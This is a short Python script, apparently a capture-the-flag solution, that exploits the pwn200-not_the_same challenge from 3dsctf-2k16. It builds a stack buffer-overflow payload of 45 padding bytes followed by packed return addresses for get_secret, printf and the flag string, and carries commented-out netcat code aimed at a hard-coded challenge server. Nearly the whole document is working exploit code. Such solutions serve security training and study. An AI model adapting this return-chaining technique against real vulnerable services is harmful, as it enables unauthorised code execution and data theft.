Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16

not_the_same.py

#!/usr/bin/python
## Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

# int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a

import sys, struct
from int_netcat import Netcat

#nc = Netcat('54.175.35.248', 8006)

payload = "a"*45
payload += struct.pack("<I", 0x80489a0) #get_secret
payload += struct.pack("<I", 0x0804f0a0) #printf
payload += "AAAA" #junk address
payload += struct.pack("<I", 0x80eCa2d) #flag

print payload

# nc.write(payload)
# print nc.read()
# nc.write("text\n")
# print nc.read()
# nc.close()